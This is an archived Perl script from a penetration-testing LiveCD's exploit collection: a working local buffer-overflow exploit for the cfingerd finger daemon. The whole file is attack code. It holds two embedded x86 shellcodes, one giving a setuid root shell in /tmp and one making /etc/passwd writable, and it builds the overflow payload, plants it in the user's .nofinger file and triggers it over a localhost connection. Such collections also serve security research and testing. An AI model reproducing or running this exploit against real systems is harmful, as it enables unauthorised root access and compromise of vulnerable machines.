home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / finger / cfingerd / cfingerd-exploit.pl < prev    next >
Perl Script  |  2005-02-12  |  4KB  |  158 lines

  1. #!/usr/bin/perl
  2.  
  3. # | Local buffer overflow exploit for cfingerd
  4. # | Copyright (c) 2001 by <teleh0r@digit-labs.org>
  5. # | All rights reserved.
  6. # |
  7. # | Simple exploit for the vulnerability reported
  8. # | to bugtraq by Steven Van Acker.
  9. # | http://www.securityfocus.com/archive/1/192844
  10. # |
  11. # | If cfingerd does not run as root, the exploit
  12. # | will of course fail!
  13. # |
  14. # | http://www.digit-labs.org/teleh0r/
  15.  
  16. use Socket; use File::Copy;
  17. use Getopt::Std; getopts('s:p:o:', \%arg);
  18.  
  19. if (defined($arg{'s'})) { $sjell  = $arg{'s'} }
  20. if (defined($arg{'p'})) { $port   = $arg{'p'} }
  21. if (defined($arg{'o'})) { $offset = $arg{'o'} }
  22.  
  23. # shellcodes written by myself especially for
  24. # this exploit.
  25.  
  26. # 34 bytes
  27. $shellcode1 =
  28.   "\x31\xdb".                # xor  ebx, ebx
  29.   "\x31\xc9".                # xor  ecx, ecx
  30.   "\xf7\xe3".                # mul  ebx
  31.   "\x52".                    # push edx
  32.   "\x68\x2f\x2f\x79\x30".    # push dword 0x30792f2f
  33.   "\x68\x2f\x74\x6d\x70".    # push dword 0x706d742f
  34.   "\x89\xe3".                # mov  ebx, esp
  35.   "\xb0\xb6".                # mov  al, 0xb6
  36.   "\xcd\x80".                # int  0x80
  37.   "\x66\xb9\xed\x0d".        # mov  cx, 0xded
  38.   "\xb0\x0f".                # mov  al, 0xf
  39.   "\xcd\x80".                # int  0x80
  40.   "\x40".                    # inc  eax
  41.   "\xcd\x80";                # int  0x80
  42.  
  43. # 35 bytes
  44. $shellcode2 =
  45.   "\xeb\x10".                # jmp  short file
  46.   "\x5b".                    # pop  ebx
  47.   "\x31\xc9".                # xor  ecx, ecx
  48.   "\xf7\xe1".                # mul  ecx
  49.   "\x66\xb9\xa6\x01".        # mov  cx, 0x1a6
  50.   "\xb0\x0f".                # mov  al, mov
  51.   "\xcd\x80".                # int  0x80
  52.   "\x40".                    # inc  eax
  53.   "\xcd\x80".                # int  0x80
  54.   "\xe8\xeb\xff\xff\xff".    # call code
  55.   "/etc/passwd".             # string
  56.   "\x00";                    # null terminate
  57.  
  58. # cfingerd does not drop privileges before the 
  59. # vulnerable code kicks in, therefore no need 
  60. # to use setuid(0);
  61.  
  62. if (!(defined($sjell))||$sjell !~ m/^(1|2)$/) {&usage}
  63. $shellcode = $sjell == 1 ? $shellcode1 : $shellcode2;
  64.  
  65. $port  ||= 2003;
  66. $user    = getlogin() || getpwuid($<);
  67. $return  = 0xbffff46c;
  68. $length  = 88;
  69. $kewlnop = 'K';
  70. $homedir = (getpwnam($user))[7];
  71.  
  72. printf("Address: %#lx\n", ($return + $offset));
  73. &do_checkz;
  74.  
  75. if (connect_host('127.0.0.1', $port)) {
  76.     &prepare_attack;
  77.  
  78.     send(SOCKET, "$user\015\012", 0);
  79.     close(SOCKET);
  80.  
  81.     sleep(1); 
  82.     &do_checkz;
  83.  
  84.     die("Sorry, exploit failed - check the values.\n");
  85. }
  86.  
  87. sub prepare_attack {
  88.     for ($i = 0; $i < ($length - 2 - 4); $i++) {
  89.     $buffer .= $kewlnop;
  90.     }
  91.     
  92.     #<82'nops'><jmp 0x4><retaddr><shellcode>
  93.  
  94.     $buffer .= "\xeb\x04";
  95.     $buffer .= pack('l', ($return + $offset));
  96.     $buffer .= $shellcode;
  97.  
  98.     if (-e("$homedir/.nofinger")) { # I am nice, huh?
  99.     copy("$homedir/.nofinger", "$homedir/.nofinger.BAK");
  100.     }
  101.     
  102.     open(FILE, ">$homedir/.nofinger") || die("Error: $!\n");
  103.     print(FILE "\$$buffer\n");
  104.     close(FILE);    
  105. }
  106.     
  107. sub do_checkz {
  108.     if ($sjell == '1') {
  109.     if (-u("/tmp/y0") && (stat("/tmp/y0"))[4,5] == '0') {
  110.         print("Exploit attempt succeeded!\n");
  111.         exec("/tmp/y0");        
  112.     } elsif (stat("/tmp/y0") == '0') {
  113.         copy("/bin/sh", "/tmp/y0") || die("Error: $!\n");
  114.     }
  115.     } elsif ($sjell == '2') {
  116.     if (-w("/etc/passwd")) {
  117.         ($perm) = (split(/\s/,`ls -la /etc/passwd`))[0];
  118.         print("Success: /etc/passwd $perm\n");
  119.         exit(0);
  120.     }
  121.     } 
  122. }
  123.  
  124. sub usage {
  125. system("clear");
  126.  
  127. # below layout style stolen from qitest1 xinetd exploit ;)
  128. # werd!
  129.  
  130. print(qq(
  131. cfingerd <= 1.4.3-8 local exploit by teleh0r
  132. All rights reserved.
  133.  
  134. Usage: $0 [options]
  135. Options:
  136.   -s shellcode  - see below
  137.   -p port       - 2003 default
  138.   -o offset 
  139.  
  140. Available shellcodes:
  141.   1\) root shell in /tmp
  142.   2\) writable /etc/passwd
  143.  
  144. ));
  145. exit(1);
  146. }
  147.  
  148. sub connect_host {
  149.     ($target, $port) = @_;
  150.     $iaddr  = inet_aton($target)                 || die("Error: $!\n");
  151.     $paddr  = sockaddr_in($port, $iaddr)         || die("Error: $!\n");
  152.     $proto  = getprotobyname('tcp')              || die("Error: $!\n");
  153.  
  154.     socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
  155.     connect(SOCKET, $paddr)                      || die("Error: $!\n");
  156.     return(1);
  157. }
  158.